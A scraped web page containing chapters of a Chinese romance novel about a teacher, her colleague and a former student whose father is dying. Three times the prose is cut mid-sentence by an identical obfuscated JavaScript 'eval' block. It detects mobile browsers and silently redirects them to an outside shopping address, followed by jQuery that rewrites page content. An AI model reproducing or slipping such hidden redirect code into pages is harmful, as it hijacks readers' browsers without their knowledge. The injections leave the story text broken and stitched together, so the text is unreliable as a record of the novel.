“我是第一次。”奚西低头道。没了音乐剧做情绪缓冲,她才发现自己完全没办法面对这件事情。 “你,用保护措施了吧?”李知难半晌后,小声问道。 奚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474196|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西点头。 李知难也跟着松了一口气,试探问道:“你喜欢陈亦童?” “我不知道,我自己也很混乱。”奚西看起来像是迷路的小羊。 “发生了什么?” 周二那天,陈亦童如神兵天降,带着修好的音响来到礼堂。 “北辰呢?今天不是你们排练吗?”陈亦童问道。 奚西道:“学生出了点事,他去医院了。” “他没事吧?” “他没事,他送学生去的。”奚西道。 “好,”陈亦童笑着看着她,“那我帮你把音响装上?” 奚西感激地点了点头。 陈亦童脱掉了西装外套,松了松领带,解开了袖口的扣子,认真地工作了起来。 一个多小时后,他额头顶着汗水,道:“可以了你试试。” 奚西放了首音乐,听着礼堂内再次响起的高级音效,奚西手捂着胸膛长舒了一口气。 “这是……北辰的曲子?”陈亦童有些意外。 “嗯,”奚西道,“你上次不是说没有灵感吗,我最近在听,找找灵感。” “找到了吗?” “有点像暗恋,”奚西坐在了舞台边缘,听着曲子缓声道,“默默注视他,在他看不见的角落分享他的喜怒哀乐,好像他就近在手边,但是其实他又远在天边,根本碰触不着。所以他开心的时候,旋律是婉转的,他难过的时候,听起来又像是呜咽,他回头的时候,是那段跳跃起伏的旋律,还有最后结束时候的低音,像是意识到,他的眼里永远不会有自己的无奈。” “奚西,你在说这些的时候,心里想着谁呢?”陈亦童轻轻皱着眉。 奚西不好意思道:“没有,瞎说的。” 陈亦童看着她,问道:“那你喜欢什么样的人?” 奚西道:“有才华的?长得帅的?性格好的?” “李北辰那样的?”陈亦童反问。 奚西有些慌乱,回道:“你……你这话,你什么意思啊?” 陈亦童眼中的情绪愈发深重,他凑到她的面前,语气听不出的别扭:“我哪比不过李北辰?” 奚西:“我没说,你干嘛要和北辰师哥比,你,你先离我远一点。” 陈亦童反倒凑得更近了:“那你觉得我有才华吗?” 奚西没法回答,他离得太近了。 “长得帅吗?性格好吗?” 奚西的心脏狂跳。 他的脸越来越近,奚西不由控制地闭上了眼睛。 礼堂内空无一人,陈亦童吻了她,接下来的一切,都像是着了魔一般。 奚西后悔道:“我也不知道自己怎么想的,但是我知道我觉得挺丢人的。我一直说想要纯粹的感情,不想要这种肉,体关系,结果自己倒是打了自己的脸。” “然后呢?” “那天之后,他就没有再联系过我了,可能这种事对他来说也是家常便饭吧。”奚西道。 “奚西……你这……” “知难,求你了,千万别告诉别人。”奚西沮丧着一张小脸,请求道。 李知难点头,劝道:“如果你真喜欢他的话,其实也不用在乎这些,因为别人的看法不重要,人要对自己诚实,勇敢地说出自己的想法。” 哨声此时响起,他们以压倒性的主场成绩取得了总冠军,兴奋的孩子们将邵冲高高抛起,那个本来就高人一头的少年远远看起来像是旗帜。 被评为MVP的邵冲在讲台上致辞感谢,他大声道:“我想谢谢我的班主任李知难老师,李老师,你是这个世界上最好的老师。” 曲子格满头汗走过来,调侃道:“他脑子有问题吧,不谢我谢你?” 红五月开门红,学校音乐剧评了一等奖,篮球比赛夺冠,陈校长为此专门莅临三班,用他特有的官腔表扬法折磨了学生半个多小时。 五月结束的时候,三班的月考成绩也下来了。 “恭喜李老师,这次月考,你们班英语第一。”徐老师赞扬道。 “谢谢,徐老师。”月会散会,大家向外走着,李知难最近已经习惯了各种赞扬声,差点飘飘然。但是来自徐老师的表扬意味还是格外不同的。 “上次我说话严厉了些,但也都是为了你好,你看这回,音乐剧得奖你们班男女主角,篮球赛第一你们班MVP,成绩也是年级第一,我看今年的评优非你莫属了。”徐老师衷心道。 负责音乐剧的英语学科负责人楚老师也在旁补充:“确实非常圆满。对了李老师,拖了快一个月了,今天晚上咱们音乐剧的幕后老师们聚餐,听说陈校长给准备红包了,你也来吧。” “我就不去了,我也没站好最后一班岗。”李知难推脱道。 “没什么的,一起去吧,荣誉是大家的。”楚老师道。 “谢谢楚老师,我家里还有事,真的不去了。”李知难答。 “楚老师,李老师既然不想去,就别强人所难了。”她再次听到了那个熟悉的声音。会议室门口,李北辰和奚西并肩站着,应当是楚老师早就安排好了他们会后一起聚餐事宜。 她有一个多月没见到李北辰了。上次见他,还是在他的车里,她说让他离自己远一点。 李北辰一直是个听话的学生,她说让他离远一点,他就老实懂事地避免任何和她见面的场合。李知难甚至怀疑,演出那日的临时会议,八成也是借口。 “那好,那咱们就先走吧。”楚老师组织道。 奚西冲她挥手:“我先走了知难?” 李知难点头告别。 “再见李老师。”李北辰从她身侧走过,礼貌告别道。 “再见,李北辰。” 这么多年的你好和再见,她第一次加上了他的名字。她想着,以后应该再也不会见面了。既然是道别,总归要体面些。 27. 楼梯间的声音 期末考试结束后,办公室正议论着暑期的排班安排,学校新改了制度,原本可以休假的班主任也要参与到暑期值班当中。李知难被这些行政要求搞的一个头两个大,趁午休逮到了孙书维,好好抱怨了几句。 “我要是知道没有寒暑假,我当初才不做老师!”李知难道。 “别人说这话我还信,你李知难,活该一辈子当老师。”孙书维回。 “你们行政部门每天能不能有点正事,天天想方设法折腾我们,然后学生又觉得是我们在折腾他们,里外里坏人累活都是我们的,你们在后面不要太舒服!” 孙书维小声道:“这回你还真有可能不用值班了。” 李知难眼前一亮,“怎么,孙主任终于要给我走后门了吗?我就知道我们的友谊一定是值得投资的。” 孙书维笑道:“跟我没关系,你谢谢你们班学生吧!” “谢他们?” “他们的演出选上了今年区里的中秋晚会,甚至有可能上北京台春晚,老陈很重视,你这个暑假可能不用值班,但是需要跟一跟这件事。”孙书维提前和她透露消息。 “春晚?真的假的?” “现在还没有准信儿,但是有戏,我们打算推一推。”孙书维道,“对咱们学校也有好处嘛。” 李知难想着陪学生练□□比坐在办公室强,点头道:“那你努努力,我这个暑假能不能休息就全靠你了。” 期末考试结束那天,陈校长将她和奚西一起请到了办公室。好消息是,孩子们的演出确实获得了领导的赞赏,准备送选中秋晚会,坏消息是李知难这个暑假要和奚西负责带着孩子们去可能音乐培训。 得到消息的李知难和奚西同样无语。 “你去吧。”李知难小声道,“我家孩子放假,你体谅体谅我。” 奚西:“你去吧,皮皮我帮你看,我去你家给他做牛做马都行,只要别让我去可能音乐。” 可能音乐的保安也是头一次看到,有人来到这里不是满脸雀跃充满希冀,反而是像英勇赴死似的。 暑假的第一天,曲子格打电话问候道:“你跟奚西那边怎么样?” 李知难:“还在大堂等呢。” “我跟你说一个事,”曲子格难掩激动,“我和吴思齐值班被排到一块了!你说这是不是千里姻缘一线牵!” 李知难回道:“不是。” “怎么不是?”曲子格呛道,“这分明就是连老天都觉得我们俩是绝配!” 李知难直白道:“跟老天爷没关系,是孙书维排的。” 值班排表交到孙书维那天,李知难接到了孙书维的电话。“曲子格和那个吴思齐,到底是真的假的?” “你怎么知道的?”李知难颇为意外。 “我又不瞎,”孙书维回,“就算是瞎子,他俩那点动静也瞒不住。” 李知难笑道:“小格子确实对他挺认真的。怎么了,怎么突然关心起她的八卦来了?说,你被谁附身了?” 孙书维回道:“我排班呢,打算把他们排到一起。” 李知难急道:“你不能因为小格子跟你嚷嚷就棒打鸳鸯啊!” 孙书维无语道:“你听没听清楚?我说要把他们排到一起。” 李知难反倒意外了:“为什么?” “吴思齐家庭条件很好,和曲子格也算是门当户对,他还是重点大学毕业的,高考成绩也不错,所以智商这方便也没问题。最主要的是他背景很干净,没什么乱七八糟的,曲子格要是能跟他成了,也算是好姻缘。”孙书维解释。 李知难更加不理解:“啥?你怎么知道得这么清楚?” “我调了他的档案。” “为什么?”李知难感觉今天太阳打西边出来了。 “你说为什么,为了曲子格呗。” 李知难回道:“书维,上次的事也算是因我而起,你跟她说清楚不行么?明明心里关心人家,嘴上又这么坏。” “我懒得跟她解释。”孙书维回道。 “你啊!”李知难不由感叹。 “还有,上次秦梓轩出事,我在学校门口好像看见了顾清辛的车,曲子格跟你说这事了吗?”孙书维问道。 “没有啊,”李知难思索道,“会不会是你看错了?如果他真的找过小格子,她不可能瞒得住。” “但愿吧,”孙书维道,“希望她这回长点心,好好跟吴思齐处,别又失心疯似的跟那个姓顾的垃圾没完没了。” 曲子格这边听罢,心里也颇有些不是滋味,立刻后悔道:“我上次对书维的态度也不好。” “你知道,她不在乎这个。”李知难两边撮合道。 “上回吴思齐那么说她,她都没还嘴,”曲子格反思,“我还以为她吃错药中邪了,看来,她那天其实是在给我留面子。” “她这个人就是这样,你有空就去和她聊聊,都是朋友,哪那么多恩怨情仇。”李知难嘱咐道,“行了,我这边要进去了,不跟你说了。” 可能音乐的前台将他们一行人带到了排练室,和上次那间气派磅礴的不同,这间看起来中规中矩,无论是装潢还是面积。 “你们稍等一下啊,”前台小姐道,“稍后我们副总会过来。” 李知难和奚西交换了下眼神,对可能音乐的重视程度颇为意外。 不一会儿,陈亦童一身正装出现在排练室内,自我介绍道:“我是可能音乐的执行副总,我叫陈亦童,大家叫我陈老师就可以。” “陈老师好!”学生们热情地同他打着招呼。 “同学们好,欢迎大家来到可能音乐,日后有任何需要随时提,祝愿大家在晚会上有精彩的演出。” 孩子们雀跃地鼓掌,奚西的表情像是被摁了延迟键,每每都晚个几秒才能跟上大家的反应。 李知难小声问道:“没事吧?” 奚西楞楞地点了点头,又摇了摇头。 “你知道他是……”李知难还没问完,就从奚西茫然的表情里猜到了答案。她自己也没想到,稀里糊涂的一夜情对象竟然是可能音乐的执行副总裁。 穆婷婷举手问道:“陈老师,我们小李老师不在吗?” 陈亦童:“他有其他的工作要忙,有问题找我也一样。” 她表情有些遗憾,点头答:“哦。” “好,那我们先按照大家在学校的排练方式,找到之前的partner,把剧本重新熟悉磨合一下。”陈亦童安排道,“一会儿会有专门的形体老师和台词老师过来,同学们不要紧张,好好配合就可以。” “谢谢陈老师!”学生们齐声答。 和学生的寒暄结束,陈亦童站在原地用余光瞥着她们俩这边。此时,李知难和奚西再干站在原地也不像话,奚西挽起李知难,一起向前走了两步例行问候,话没说两句就没得可聊了,奚西为了缓解尴尬,小声询问道:“我师哥是在忙吗?” 陈亦童原本的礼貌的脸瞬间面无表情,他看着她,冷声回:“你找他有事?” 李知难敏锐地察觉到二人之间的气氛,出声道:“是我,我找他有事。” 陈亦童端起了体面的态度,答道:“他最近有些事,比较忙。” “哦,”李知难应道,“那陈副总应该也挺忙的吧?不用一直陪着我们,你忙你的。” 陈亦童余光瞥着奚西,清了清嗓子,回应道:“那我先走了,有事随时联系。” 陈亦童离开后,李知难拍了拍奚西的胳膊:“加油啊奚西老师。” 奚西瘪着嘴,表情有些委屈,道:“谢谢知难。” 午饭时,可能音乐的助理送来了盒饭,两荤三素很是丰盛。排练室地方有限,大家便席地而坐,找了几个箱子权当饭桌了。 “给,盒饭。”奚西给李知难递了一盒过去。 有学生再次凑过来好奇问道:“奚西老师,小李老师呢?” 奚西答:“我不知道,你有事?” “就是好奇,一上午也没见到他,以后都见不到了吗?”她遗憾道。 李知难回道:“这是人家的工作场合,人家自然是有工作要做了。你们管好自己,吃完了休息一会,别乱跑,千万守规矩,听到没有?” 学生们老实答“是。” 可能音乐安排的课程丰富而实用,形体老师、台词老师、音乐老师各有专攻,孩子们都学得精精有味。李知难和奚西在旁边百无聊赖地待了半天,各有各的心事。 奚西余光忍不住扫向门口,总觉得那里一会儿便会出现一个身影。 李知难本应当是松口气的,预料中和李北辰抬头不见低头见的场面并不存在,上市公司的楼这么高,面积这么大,也许这一个夏天,两个人都不会见面。可这样想着,她心里生出了莫名的失落。莫名得连自己都忍不住摇头,暗骂自己神经病,怎么遂她意不遂她意,她都能找到理由抱怨。 四点半,课程结束,二人领着学生们在前台的引导下离开了大楼。 “这和值班也没啥区别。”李知难叹道。 “明天同一时间见啊知难,”奚西搂住她胳膊,甜甜地嘱咐道:“你要敢不来,我可就死给你看。” 接连几天,李知难渐渐习惯了这差事。李北辰的懂事给她省了不少麻烦,二人完全没有碰面的机会,可她知道,李北辰就在这座大楼里。奚西午休时常去十楼办公室找他,开始也邀请过她,都被她以“没必要”推脱掉了,她从奚西嘴里得知这一阵李北辰很忙,身体有些不适,精神状态也很差。那句想要一起去看看的话总是突然涌上来,又生生压在了喉间。 又是午休时分,奚西照例拎着盒饭,对她道:“我去看看师哥。” 旁边同学听罢,露出了八卦的眼神和穆婷婷窃窃私语。 李知难都看在眼里,往嘴里塞了口饭,答:“嗯,去吧。” 学生们吃饱了在旁聊得愈发起劲儿,虽然已经尽量克制音量,可屋子就那么大,李知难仍旧听得清楚。 “奚西老师和小李老师是不是谈恋爱呢?” “肯定是,我那天都看到他们俩一起喝咖啡,可甜蜜了。” “好配啊,咱们奚西人美歌甜,跟小李老师简直才子佳人。” 李知难在旁听得心里乱糟糟,便起身去楼梯间里溜达起来。这地方熟悉后也容易摸索出些门道——楼道里永远是安静的,可能音乐的电梯足足有八个,压根没人闲到爬楼梯。李知难在楼道里走上走下,权当锻炼身体,血液多在四肢走动,脑子就没精力乱想了。 她一层层下,又一层层上,不经意间看到墙上标注的数字5,便忍不住向上抬头,想猜测10楼的高度究竟离这里有多远。正在此时,楼梯间响起吱扭的开门声,声音在空荡中回响放大,把李知难吓了个激灵,定在原地一动也不敢动。 接着,楼道里响起女孩微弱的哭泣声。 “别哭了。” 这声音是……李北辰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475666|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事的,别哭了。”他声音温柔。李知难透过楼梯望上去,隐约见李北辰像是怀里搂着一个女生,具体的,她也看不清楚。 “好点没有?”李北辰轻声问。 女孩若有似无地应了一声。 “走吧,我们回去吧。” 门又开了,短暂的脚步声后,楼梯间再次恢复了安静。 李知难看着自己当下的体态,没来由地嫌弃。这是什么黄鼠狼偷鸡似的样子?偷偷摸摸来这里说悄悄话的人又不是自己,他们不躲自己凭什么要躲起来? 可大脑潜意识里帮她补充了答案,可能是因为心虚吧。 我为什么要心虚?李知难这么想着便有些不自在。不就是李北辰和奚西,算了,跟我又有什么关系。 一番思想斗争后,她决定提前结束今天的午练,眼不见心不烦,果然在别人的地界不应该乱跑。 没一会儿,穆婷婷举手道:“李老师,奚西老师还没回来,下午是奚西老师先带我们分组排练,时间到了。” “她人呢?” “出去了,手机也没带。”穆婷婷将奚西的手机放到了李知难的面前。 “好,我去找她。”李知难道,“你先带着大家练习。” 李知难在电梯间对着那个数字突然犹豫了,去还是不去?奚西做事认真负责,也许是需要时间恢复情绪才耽搁了,她只要在5层再等等,说不定马上人就会下来。可手指还是不听话地摁下那个摁键,她也分不清当下驱使着自己的是究竟是好奇心还是其他不能言明的情绪。 十楼的办公室都是百叶窗,大都是开着的状态,从外面不难看到里面的动静。她顺着走廊一路看下去,也没发现奚西的踪影。 在拐角处的办公室前,李知难停下了脚步。玻璃门上的姓名签,写的是李北辰。 而这间办公室的百叶窗,是关上的,从外面什么也看不到。 她正犹豫着要敲门,可那些驱动她的情绪在这扇关上的门面前,莫名其妙地瓦解冰消。她的手迟迟举不起来,甚至心里更想立刻离开。 此时办公室内无预警地传来刺耳的碎裂声,被响声惊到的李知难下意识推开了门,正巧看到陈亦童挥着拳头对着李北辰的脸狠狠地砸了过去。 李北辰踉跄两步,并没有还手的意思。 陈亦童上前拽起了他的衣领,还想再动手,李知难下意识冲过去将他推开,眼神凶戾地吼道:“你干什么呢!” 陈亦童停下了手。 “你凭什么打他!”李知难将李北辰牢牢护在身后。 “李北辰!”陈亦童狠狠地念着他的名字,“你……” “你先出去。”李北辰擦了擦嘴角的血,眼神冷冰冰地警告着陈亦童。 陈亦童的眼神来回看着二人,欲言又止。 “出去!”李北辰低声吼道。 李知难只怕自己的出现让李北辰白吃这一记哑巴亏,气道:“他凭什么走?他凭什么打你?” 陈亦童还想再说话,李北辰已经将身体横在了李知难身前,用眼神示意陈亦童离开。 陈亦童将剩余的火气发泄在了门上,一声闷响后,屋子里只剩下了他们二人。 李知难看着眼前嘴角渗血的他,无奈道:“有没有碘酒?” 李北辰从角落处拿出急救箱,递了过来。 李知难帮他处理起脸上的伤口,二人距离越近,她越是不自在,便道:“你们这什么工作环境,上班闲着没事还能打架呢?” 李北辰没回应。 “挨了打就这么让他走?”李知难又道,“你是被他打傻了吗?” 李北辰仍然没有回应。 李知难的棉签压在伤口上,李北辰像是不知道疼一样,毫无反应。她看着眼前这张脸,明显带着病气,眼白上的红血丝配着眼眶下的黑眼圈,干裂的嘴唇边上挂着青紫和血迹,像是脸上开了油彩铺。 不知怎的,她心底就生了些柔软,道:“疼了就说,不要忍着。” “这次不是我的问题。”李北辰低声道。 李知难抬头答:“你说什么?” “我说,这次不是我的问题。”他终于抬起了眼,双眸直勾勾地看向她。 “我知道,我看到了,”李知难答,“他使用暴力是他的错,你没有以暴制暴,你做得很好。” “不是这件事,”李北辰顿了顿,眼神仍旧是直勾勾赤裸裸地盯着她:“是您让我离我您远一点,我按您说的做了。这一次不是我的问题。” 李知难表情局促,解释道:“我……我是来找奚西的。我也是因为工作,我们都是因为工作……”她像是在说服李北辰又像是在说服自己,“工作的事,都能理解。” “我不理解。”李北辰并没有按照她给的台阶往下走。 “什么?” “您让我离您远一点,我已经按照您说的做了,”李北辰回,“那您为什么不能说到做到?” 李知难的手悬在半空。 是啊,他刚才还和奚西在楼梯间里亲亲我我,眼下自己在这里多此一举地做什么? 李知难将手中的棉签扔到一旁,迅速起身准备离开。 但这次她没有如愿,李北辰从身后将她牢牢地抱在了怀里。 “李北辰你干什么……”李知难窘迫道。 “我按照你说的做了,”李北辰答,“不出现在你面前,离你远一点,这次不是我的问题,是你先来找我的。” 28. 我们也可以做朋友 李知难试图摆脱,却发现自己的力气在真正用尽全力的他面前,微弱得毫无还击之力。 “李北辰,你别胡闹,你……”她话还没说完,突然感觉到了肩膀上的湿意。纵使没回头,她仿佛也看到了李北辰的眼泪顺着脸颊,如同当年的她自己一般,湿润了对方的肩膀。 “你怎么了?”她不由温声询问。 他没有回答。 “出事了?”李知难问,“出什么事了?” 李知难卸了力,他像是汪沼泽,她挣扎时便会越陷越深,她放松后他便不敢多用半丝力气。李知难在他怀里轻轻地转动过身体,面对着他,微微抬起头。 眼前的他双唇紧闭,嘴角无意识地抿在一起。 李知难继续向上看,那双原本垂着的眼睛即刻逃避了她的视线,克制又惶然地转向一侧。 她轻声道:“没事的,无论是什么事情,都可以解决。” 他终于缓缓松开了手,轻轻摇了摇头:“解决不了。” “为什么?” 李北辰没回答,可他脸上的表情却又解释了许多,无论答案是什么,那份难过都让她心里不由地跟着酸楚了一大片。 她下意识抬起手,想帮他擦掉脸上残留的泪水,举到一半突然意识到自己这举动过界了。 李北辰眼底的情绪被湿润浸着,见她即将要碰触到自己的手终于还是慢慢被她放下,嘴角不由扯出一抹苦笑。 “擦擦脸。”她从一旁纸巾盒内拎了张纸递过去。 李北辰没接,反倒直接将脸贴了上去,那抹湿意不偏不倚地擦着纸巾边缘,落在了李知难的手指上。 一丝若有似无的凉意就这样挑逗着皮肤的神经末梢,她下意识地舔了舔嘴唇。 手中的纸巾被李北辰拿过扔到了废纸篓,上面隐约沾了些红色的血迹,她看了看那张五彩纷呈的脸,又重新拿了根棉签,再次处理起刚才的伤口,换了个话题问道:“陈亦童为什么打你?” “因为奚西。”李北辰答。 “你和……”她停顿了一下,没再说下去,只应声道:“哦。” 李知难消化着自己接收到的信息和方才看过的画面,全都指向了李北辰不肯说的秘密。能让李北辰把持不住在自己面前哭泣,也能让奚西难过得泣不成声,而且因为是秘密,所以要躲在楼梯间里,所以陈亦童会对他挥拳相向。 那么这个秘密,也没有多难猜。 李知难道:“我不知道应该怎么安慰你,但是如果你想找人聊聊,随时可以联系我。” 李北辰抬眼看着她,确认道:“随时吗?” 李知难点头。 他似乎想开口,但最终还是摇了头,答:“谢谢李老师,我会处理好的。” 李知难看了看表,道:“那我先下去了,楼下还有学生。” “好。” 她起身欲走,只听李北辰开口道:“刚才的事,别告诉奚西。” 李知难听着他的语气,轻轻回了声“嗯”,便离开了他的办公室。 楼下练习室里,奚西已经带着学生开始排练,她看着奚西眼睛肿得如同核桃一般,不知待会儿如何对这样的画面假装视而不见。 待到形体老师来接班上课时,奚西几乎是跑着出的练习室。 学生们自然早就察觉出了气氛不对劲,一个个面面相觑小声低语,李知难见状也急忙跟了出去。 洗手间内,奚西对着镜子一边洗脸一边哭,那模样看起来分外可怜,她强压着自己的情绪,使劲深呼吸试图平复,可几个呼吸才结束,眼泪又不听使唤地流了下来。 李知难在旁等了好一会儿,见她终于好转了些,才轻轻拍了拍她的背,安慰道:“没事了,没事了。” 奚西瘪着嘴,回道:“怎么可能没事。” 和李北辰相似的说辞。 李知难问道:“到底怎么了,让我们奚西老师哭成这样?” 奚西的表情也是同样的欲言又止。 李知难有些后悔方才自己试探的问题,只道:“不想说就别勉强自己,一会儿你先回去吧,休息两天,这边我盯着。” 奚西摇头:“我不能走。” 李知难不解:“你开始不是还不想来来着?孩子们有我呢,不用担心。” 奚西摇头,犹豫了好一会儿,才道:“我担心的不是孩子们,我担心的是我师哥。” 李知难知道,她立在原地,不知道自己应不应该再继续打探他们之间的秘密。 奚西又道:“我师哥……”可这回她话还没说完,眼泪就一齐涌了出来,才收拢好的情绪再次不受控制地崩溃。 李知难看着她如此痛苦的样子,轻声安慰道:“人和人之间的缘分就是这样,有始有终,有的时候结束也不是坏事。” 奚西哭着回道:“凭什么!凭什么要结束!” 李知难轻轻安抚着她,道:“我也不知道,但是人心无常,你看开一些。” 奚西看着镜子里表情为难的李知难,小声道:“为什么人心无常?” 李知难没有回答,她自己也不知道这个问题的答案。 奚西又道:“知难,你能不能陪陪我师哥?” “啊?”李知难有些不敢相信自己的耳朵,这是什么……离谱的请求? 奚西红着眼睛,颤声道:“他爸爸脑出血,现在人还在ICU,可能救不回来了……” 李知难脑袋“轰”的一声。 潜意识支配着身体,她即刻跑向了楼梯间。数字5仍旧贴在墙上,她一步两三个台阶地向上爬,越过一个又一个数字,一层又一层地向着他在的地方奔跑。 办公室的门再次被打开,李北辰像是被时间凝固在她离开的那一刻,仍旧以同一个姿势坐在同一个地方,只在她开门时,才抬起头。 “你……怎么回来了?”他轻声问,有些难以置信。 李知难上前抱住了他,一向擅长用言语做思想工作的她,在这一刻什么话也说不出。 半晌后,她终于松开了手,李北辰平和地看着她,猜出了她已经知道真相。 “什么时候的事?” “上周末。” “现在怎么样?” 李北辰摇了摇头。 “还……有其他办法吗?”她声音微微颤抖。 “没有了。”他沉声道:“好像是老天开了个玩笑,连他自己都不知道,这一觉睡过去就不会再醒过来了。” 李知难看着这样的他,用力地握住了他的手:“对不起。” 李北辰轻笑道:“你道什么歉?” 李知难坦白道:“你看起来很……无助,可我没什么能帮到你的。” 李北辰看着她,问道:“在你心里,我是不是永远都是那个十几岁的孩子?” 李知难没有回答,只是浅浅地笑了笑。 “我不是了,我今年二十五,是一个成年人了。”他正色道。 “这和年纪有什么关系。”李知难轻叹。 “有,当初你和我说过,很多成年人的事情,小孩子不能理解。我现在都可以理解了,比如我爸这件事,我只能自己扛过去,除了我自己,谁也帮不了我。我不能因为情绪崩溃就脱离生活,终止工作,因为我是成年人,这是我需要承担的责任。我甚至不能不接受这件事,因为作为一个成年人,送父母离开是我的责任和义务。” 李知难听着他的话,看着他的脸,意识到自己很难再将“李北辰”这三个字和她记忆中的那个小男孩联系到一起。他是一个成年人了,甚至是比自己对待父母死亡这件事的态度还成熟的成年人。 李知难道:“你如果需要我的话,随时可以找我。” “因为可怜我?”他反问。 “因为……关心你。”李知难诚实回答,“之前我的态度不好,可能是碍着老师的自尊心吧。其实你为了我做了很多事情,我心里是感谢你的。你既然是个成年人了,那我们也可以做朋友。” 李北辰看向她,怔了好一会儿才开口道:“李知难。” 李知难眼睛瞬间瞪得老大。 “你确定可以和我做朋友?”李北辰眼底带着促狭的笑意。 “你直接叫我名字也不礼貌,你要不然跟纪修一样叫我姐好了。”李知难找补着。 “不要,”李北辰果断拒绝,“你不是我姐。” 当晚,李知难收到了纪修打来的电话。“姐,李北辰爸爸去世了,你帮我多照顾一下他吧,他听你的。” 纪修了解他们的过去,也深知李知难是只求问心无愧的性格,可她却一反常态地反驳道:“谁说他听我的?” “你就当帮我,皮皮以后的足球课我全包了。”纪修开出了条件。 “好。”李知难假意顺水推舟般地应了他的人情,纵然她知道,哪怕没有这通电话,也不会改变任何事情。 周一中午,李知难拎着盒饭去了李北辰的办公室。 几声敲门后,李北辰从电脑中抬起头。 “吃饭了吗?”她问。 “还没。”他答。 “一起吃饭吧。”李知难拎着盒饭走了进来。 李北辰看着她身后,问道:“奚西没一起来吗?” 李知难想到了中午时,排练室外出现的那张关公脸,回道:“你们副总带她去吃食堂了,说总这样订盒饭很浪费。” 李北辰看着她手里的饭,道:“那……” 李知难耸了耸肩:“你们副总觉得多出的那几盒扔了也没事,但要是奚西吃了就算浪费了。” 李北辰摇了摇头,感叹陈亦童将欲盖弥彰盖得如此松垮,彰得如此坦然。 吃饭时,李北辰将菜里的葱姜蒜一条一条地挑出来,李知难嫌弃地看着他,撇了撇嘴。 “怎么了?”李北辰察觉到她的态度。 “吃饭就好好吃饭,别挑三拣四的。”李知难教育道。 李北辰愣了一下,停止了自己无意识的行为,反问道:“李老师,你从小就想当老师吗?” “也不能算是从小,我有一个很好的高中老师,因为她我才想做老师的。我父母……”她顺嘴说出来,又觉得自己有些过度分享了,可李北辰亮晶晶地眼睛看着她等后文,她便收起了设置的那些边界线,继续道:“我父母不怎么管我,我仗着小聪明一直成绩不错,上高中之后,小聪明不够用了,成绩一落千丈,从前几名变成了倒数。学校的老师也不喜欢我,嫌我头发不合格,衣服不规范,周围总有男孩子围着,但归根结底是因为我不是北京户口,我是‘借读生’,我的高考成绩不算入她们的考核任务。只要不影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483728|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好学生,他们当我不存在,好学生要是来招惹我,就要拿我开刀。直到高一下半学期,我们班来了一个新的班主任,胖胖的,戴眼镜,非常严肃。我本来也没觉得她和之前的老师有什么不同,但是她给了我新的人生。她对我特别狠,第一周就让我在她的讲台旁边坐‘专座’,我开始很讨厌她,但是一个月之后,我的成绩进步很快,她和我谈心,跟我说我是很聪明的女孩,只要把心用在正道上,肯定会取得好成绩。” “我自己当了老师之后才知道,其实我们老师对所有学生都这么说,你是很聪明的孩子,就是没把心用在正道上。”李知难笑道。 李北辰也跟着一起笑,这话他也听过无数回。 “后来有男生跟我表白,阵仗很大,她把那个男生狠狠教育了一顿。然后她来找我,不是骂我,而是问我,是不是很厌烦这样的事情?”李知难想着过去,“你知道吗,所有人都默认我很享受,因为有人追,有人喜欢,所以她们觉得我心里很得意,甚至会说难听的话来揣测我。可是她没有,她问我是不是讨厌这样的事情。” “我确实很讨厌别人自作主张的喜欢,我也不认为别人的追求是对我的肯定,但是我一直不知道怎么表达自己的看法。是她教给我,要内化真诚的品质,外化真实的性格,我在那段茫然的时期,遇到了一个点化我的人,青春期的孩子太容易迷茫了,但是他们不是不懂,只是被局限住了。” 李北辰道:“所以你才想做老师?” “嗯,我想做高中老师。因为我觉得我们妖魔化了青春期这个阶段,它更像蝉蜕,像涅槃,不止是从时间上未成年到成年的维度衔接,它其实是从一个生命破茧成蝶为另一个生命。它像是命运的衔接点,只不过我们当时没有意识到罢了。” 李北辰想了想,答:“以前纪修说你做班主任是给学生们当妈,看来你还真的这么想?” “刚开始确实有些过度热情了,这几年沉淀下来,也多少掌握了火候。做老师,不是做家长,也不是做朋友。” “那是什么?” “就是老师。这两个字就足够覆盖我的责任和义务了。” 李北辰想了想,点头道:“有道理。” 李知难看他轻松放松下来,装作无意地问道:“葬礼怎么样?” 李北辰:“挺好的,很庄重。” “那就好。”她顿了顿,又问道:“你呢?感觉怎么样?” 李北辰诚实答:“不是特别好,但是会好的。” 李知难点了点头,道:“以后我中午来找你吃饭?” “好。”他微微扬起了嘴角。 接下来的每天,李知难都会拎着盒饭来找他。她有时会额外准备些水果,有时会冲泡腾片水,变着花样地帮他补充维生素。几天下来,李北辰肉眼可见的精神了许多。可李北辰自己知道,真正管用的,从来都不是这些“维生素”。 